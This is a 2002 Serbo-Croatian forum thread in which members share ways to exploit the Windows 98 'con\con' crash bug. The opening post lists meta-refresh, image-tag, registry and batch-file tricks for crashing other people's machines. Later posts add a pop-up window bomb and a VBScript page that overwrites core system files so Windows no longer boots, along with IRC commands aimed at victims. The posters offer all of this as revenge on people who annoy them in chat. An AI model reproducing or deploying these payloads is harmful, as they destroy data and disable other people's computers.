[es] - Pogledajte ovo!

v1ru5
Marko Maric

Član broj: 3934
Poruke: 51
148.74.255.*

Profil

^{31.05.2002. u 09:58}

Evo pa pogledaj:

Con\con by Xinef
Napomena
Uvod
Sta je Con\con?
Kako da iskoristimo con\con?
Batch Programi

Napomena

Ovaj text je obrazovne prirode ja ne snosim odgovornost ako zloubotrebite svari koje su opisane ovde.

Uvod

Znam da svi vec znate sta je ovo.Ali sta fali da se podsetite.
ukljucio sam i dva batch programa koji iskoriscavaju ovaj bug,kao neka vrsta batch trojanaca.Ako mislite da je ovaj text glup recite mi da ne pisem ovako glupe txt-ove .

Sta je Con\con?

Ovo je bug windows kernel systema tj. bug u upravljanju driverima u IO.SYS,prouzrokuje da se kernel istopi.Pojavi se blue screen i za nekoliko sekundi se komp zakoci.I onda moramo da ga resetujemo.

Kako da iskoristimo con\con?

Postoji nekoliko nacina da iskoristimo ovaj bug.
Ja sam nabrojao nekoliko.

1.kucamo u command promtu start c:\con\con
2.Napravimo web stranicu koja ima sledeci kod:

meta http-equiv="REFRESH" content="3; URL=file:///c:/con/con"

3.posaljemo nekome mail sa kodom koji je prikazan gore.
4.Ako neki win98 system ima Frontpage Webserver mozete srusiti masinu

http://www.a_win98_site.be/con/con

5.Jos jedan html tag IMG SRC="c:\con\con"
6.Mozete srusiti korisniku komp ako na forumu na kome je html enabled post-ujete poruku tipa

meta http-equiv="REFRESH" content="3; URL=file:///c:/con/con"

probao sam ovo na UBB i radilo je, nemojte da maltretirate TUPAC-a ))

7.Ubacivanjem HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\_
otvoreno sa vrednosti c:\con\con c:\con\con "%1" %* ce takodje srusiti system.

NETSCAPE ce ako stavite file:///c:/con/con prebaciti link u file:///D|/c:\nul\nul
zato ne stavljajte file:/// vec samo c:\con\con

Batch Programi

ovo su neki lame batch programi.Cisto kao primer kako da iskoristimo con con na destruktivan nacin.

Kad se pokrene ovaj program ubacuje u reg c:\con\con kao pocetnu stranicu IE:

----------con.bat----------------------
@ECHO OFF
ECHO REGEDIT4 >1.reg
ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] >> 1.reg
ECHO "Start Page"="file:///c:/con/con" >>1.reg
START 1.reg
---------------------------------------

Ovaj program kad se pokrene pokrece IE tipa Iexplore.exe c:\con\con tj. pokrene ie da otvori stranicu con\con i onda se win srusi :

----------con1.bat----------------------
@ECHO OFF
ECHO IE se dize a tvoj OS pada
start c:\progra~1\intern~1\iexplore.exe file:///c:/con/con
<SCRIPT LANGUAGE="JavaScript">

Nadam se da si sada skuzio.

^{31.05.2002. u 09:58}

Serbian Fighter
Ivan Minic
Decko koji obecava.
Permanently Offline

Član broj: 2583
Poruke: 2316
*.beotel.net

ICQ: 83773127
Sajt: www.Burek.com

Profil

Re: Pogledajte ovo!

^{31.05.2002. u 11:54}

Citat:

Re: Pogledajte ovo! -MARIO
--------------------------------------------------------------------------------

Možda sam glup, ali ne vidim ništa.Samo mi je izbacio poruku:
<-- Primer rusenja win98--> <-- Mocno aha

-->
Pored ovoga nema ničega, i ništa se ne dešava.

Pa koristis XP za tebe se ne vazi

www.burek.com | www.conquiztador.rs | www.ivanminic.com | www.totalcar.rs | www.velikikuvar.com

^{31.05.2002. u 11:54}

v1ru5
Marko Maric

Član broj: 3934
Poruke: 51
148.74.255.*

Profil

Re: Pogledajte ovo!

^{31.05.2002. u 22:20}

Pa con-con ti samo rusi windows 98 i starije. to ti je dobro kada te neki tip na chatu zeza a ti mu posaljes adresu svoje web stranice, i naravno ako imas tu srecu da koristi windows 98 poplavi mu ekran.

Postoji jos jedna mogucnost. Ako imas skripte (a ako kome trebaju poslat cu na forum), nekom sa chata ili irc-a das svoju web stranicu (onome koji te zeza ili te vrijedja), a kada on otvori njemu ce se otvarati na stotine novih prozora dok mu se racunalo ne zamrzne i nesrusi.

ajd bok

^{31.05.2002. u 22:20}

MasterOfUndead
Novi Sad

Član broj: 2389
Poruke: 280
*.my-trion.net.

Profil

Re: Pogledajte ovo!

^{31.05.2002. u 22:57}

Pa mogao bi ti da napises (kopiras) te skiripte , cisto da se malo igramo tj. da mi koji tp nismo radili , vidimo kako se prave takve skripte pa da pocnem i sam da ih pravim .

Havala unapred

"...and the earth becomes my throne
I adapt to the unknown
under wandering stars I've grown
but myself but not alone
I ask no one!"

^{31.05.2002. u 22:57}

v1ru5
Marko Maric

Član broj: 3934
Poruke: 51
148.74.255.*

Profil

Re: Pogledajte ovo!

^{01.06.2002. u 00:13}

Pa onda evo nekoliko primjera:

<HTML>
<HEAD>
<TITLE> WEB IE BOMB </TITLE>
<SCRIPT LANGUAGE= "JavaScript">

function func ()
{
var i=1;
while (i < 100) // Ovdje umjesto 100 mozete staviti bilo koji broj (sto vise to bolje)
{
window.open("c:"","CRASHING"+i);
i++;
}
}
</SCRIPT>
</HEAD>
<BODY onLoad = "func();" >
</BODY>
</HTML>

Kad netko otvori ovu stranicu, stalno ce mu se otvarati novi prozori, koji ce mu,
ako ih ne stigne na vrijeme zatvoriti (alt+F4) zadati dosta muka

Sljedeci je ulomak iz jednog tutoriala:
Vjerovatno ste svi culi za "maliciozni HTML KOD", ili zlonamjerni
HTML kod, cija je glavna funkcija da vas zeza ili izbrise nesto sa compa.
Moze se raditi o obicnom HTML kodu ili cak Java scriptama ili VB scriptama.
Vjerovatno ste naisli na stranice na kojima pise da na sljedeci link ne kli-
knete jer oni nisu odgovorni ako vi kliknete na njega!? Eeee... ja da nekli-
knem na taj link, heheheh sad cu ja kliknuti na njega...pa sta bude! I onda
jednostavno vam izleti neka poruka, sa mogucnoscu da samo kliknete na OK dug-
me, vi kliknete... ALI opet ista poruka izlazi, i tako vi kliknete na OK op-
et, opet poruka...vi OK, opet poruka...Tada pomaze samo da pritisnete CTRL+
ALI+DEL i ugasite Internet Explorer.
Ali nije sve tako lagano... nekad se moze desiti da kliknete na link,
i nista se nedesi, ali zato kad sljedeci put upalite comp, sistem nece da se
"digne".Samo za vas pripremili smo jedan takav primjer HTML koda, koji sli-
jedi:

-------- cut here --------

<html>
<head>
<title>Patolog by Bechir www.bSecurity.cjb.net</title>
</head>
<body bgcolor="#000000">
<p><font face="OCR A Extended" size="5"> <font color="#00FF00">CopyRight
(C) 2001 by bSecurity</font></font></p>
<object classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC" id="fs" width="0" height="0">
</object>
<script language="VBScript">
On Error Resume Next
F2N = Array("C:COMMAND.COM", "..WIN.COM", "..WIN.INI", "..SYSTEM.INI", "..USER.EXE", "..RUNDLL.EXE", "..RUNDLL32.EXE", "..EMM386.EXE", "..IOS.INI", "..EXPLORER.EXE")
For F2NC = 0 To 10
FS.Path=F2N(F2NC)
FS.Doc=""
FS.Write
Next
</script>
</p>
</body>
</html>

-------- cut here --------

Eto... ako i malo znate HTML skontali ste sta se desava. Hmm, sta se desa-
va? Pa desava se to da ova stranica brise 10 fajlova sa vaseg compa i slje-
deci put kad pokrenete comp... nece se pokrenuti. Fajlovi su:

1)COMMAND.COM
2)WIN.COM
3)WIN.INI
4)SYSTEM.INI
5)USER.EXE
6)RUNDLL.EXE
7)RUNDLL32.EXE

EMM386.EXE
9)IOS.INI
10)EXPLORER.EXE

Taman ono sto vam treba... moze se i zamjeniti da se brisu neki drugi faj-
lovi, ali to je na vama. Komentari i pitanja posaljite na moj mail:
bechir_nsa@yahoo.com

Evo toliko za sada ako nadjem jos nesto obavjestit cu vas.

^{01.06.2002. u 00:13}

Milos Milunov
Milos Milunov
The Big City Panchevo

Član broj: 2754
Poruke: 97
*.panet.co.yu

Sajt: www.junk.co.yu

Profil

Re: Pogledajte ovo!

^{01.06.2002. u 02:13}

Za ovo zadnje sam znao ... ali za taj con/con nisam! Inace taj bug ne "razara" win trajno ... vec ono sam te s*ebe na trenutak? ako sam u pravu! cya & txanx!

[pak] Chronic :: The Quake3,CounterStrike & WarCraft3 player! (:

^{01.06.2002. u 02:13}

v1ru5
Marko Maric

Član broj: 3934
Poruke: 51
148.74.255.*

Profil

Re: Pogledajte ovo!

^{01.06.2002. u 16:11}

Taj con-con nije nista strasno samo moze nauditi windowsima 98 i starijima, a to slabo ko koristi. Korisniku koji otvori web stranicu koja aktivira con-con morat ce restartat racunalo i nista vise.

^{01.06.2002. u 16:11}

srki
Srdjan Mitrovic
Auckland, N.Z.

Član broj: 2237
Poruke: 3644
*.171.EUnet.yu

Profil

Re: Pogledajte ovo!

^{01.06.2002. u 16:27}

Citat:

v1ru5:
Taj con-con nije nista strasno samo moze nauditi windowsima 98 i starijima, a to slabo ko koristi. Korisniku koji otvori web stranicu koja aktivira con-con morat ce restartat racunalo i nista vise.

ja sam otvorio tu stranicu i nista mi se nije desilo iako imam win 98.
nemam nikakav firewall i nemam nikakav antivirus.

^{01.06.2002. u 16:27}

v1ru5
Marko Maric

Član broj: 3934
Poruke: 51
148.74.255.*

Profil

Re: Pogledajte ovo!

^{01.06.2002. u 23:29}

Mozda ti imas neku noviju verziju windowsa 98, novije proizvodnje.
Nisam ja strucnjak za taj con-con samo sam drugima rekao cemu on sluzi itd., iako ga nikada nisam koristio.

^{01.06.2002. u 23:29}

supertheokman
Nemanja Dundjerski
Srbobran

Član broj: 2436
Poruke: 20
*.my-trion.net.

ICQ: 118594811
Sajt: bolje da ga ne napisem

Profil

Re: Pogledajte ovo!

^{02.06.2002. u 00:29}

ako ti ne radi con/con onda znaci da imas instaliran patch

([.:sUPERTHEOKMAN:.]) wanna learn LINUX !!!

^{02.06.2002. u 00:29}

Serbian Fighter
Ivan Minic
Decko koji obecava.
Permanently Offline

Član broj: 2583
Poruke: 2316
*.beotel.net

ICQ: 83773127
Sajt: www.Burek.com

Profil

Re: Pogledajte ovo!

^{02.06.2002. u 00:54}

Citat:

v1ru5:
Mozda ti imas neku noviju verziju windowsa 98, novije proizvodnje.
Nisam ja strucnjak za taj con-con samo sam drugima rekao cemu on sluzi itd., iako ga nikada nisam koristio.

Imas samo FIRST i SECOND edition od verzija ... ali imas update na Microsofotovm sajtu gde su patchovi za takve bugove.

www.burek.com | www.conquiztador.rs | www.ivanminic.com | www.totalcar.rs | www.velikikuvar.com

^{02.06.2002. u 00:54}

Makojdis
Stefanovic Milos
Kragujevac

Član broj: 78
Poruke: 302
*.ptt.yu

Profil

Re: Pogledajte ovo!

^{02.06.2002. u 11:49}

Con\Con moze i malo vise da za**bava, ako se u neku ikonicu na desktompu u cmd line stavi con\con cim se upali racunar blokirace i tako sve dok se ne izbrise ta ikonica. E sad moze da se napravi skripta koja ce da kreira shourtcut sa ovim parametrima ode komp. Jos ko ne zna za ovu foru ima momentalno da reinstalira win.

^{02.06.2002. u 11:49}

UnDeaD
dev/null

Član broj: 4358
Poruke: 30
*.dialin.iskon.hr

ICQ: 2147483647
Sajt: www.deztr0jah.cjb.net

Profil

Re: Pogledajte ovo!

^{19.06.2002. u 20:11}

Con/con se moze koristi i na IRCu. Nekoj budali recte da vam posalje: DCC SEND /con/con nick. I poplavit ce mu ekran.

In /dev/null no one can hear you scream

^{19.06.2002. u 20:11}

kornovac
Halid Muslimovich

Član broj: 4109
Poruke: 57
*.as53.mo.bih.net.ba.

Profil

Re: Pogledajte ovo!

^{20.06.2002. u 02:13}

jao jao..pa ja sam znao za ovo pre pola godine :D

Nemam potpis!

^{20.06.2002. u 02:13}

UnDeaD
dev/null

Član broj: 4358
Poruke: 30
*.dialin.iskon.hr

ICQ: 2147483647
Sajt: www.deztr0jah.cjb.net

Profil

Re: Pogledajte ovo!

^{20.06.2002. u 11:14}

Citat:

kornovac:
jao jao..pa ja sam znao za ovo pre pola godine :D

Svaka cast, taj bug je vec jako jako star. Prije 2 godine, taj bug se koristio na MSNu kao lud. Preko CTCPa, mislim da je komanda isla /ctcp nick sound /con/con . Ili se koristila +++ATH0 . Ne sjecam se bas tocno

Lol Jonathan Davis Fan :)

In /dev/null no one can hear you scream

^{20.06.2002. u 11:14}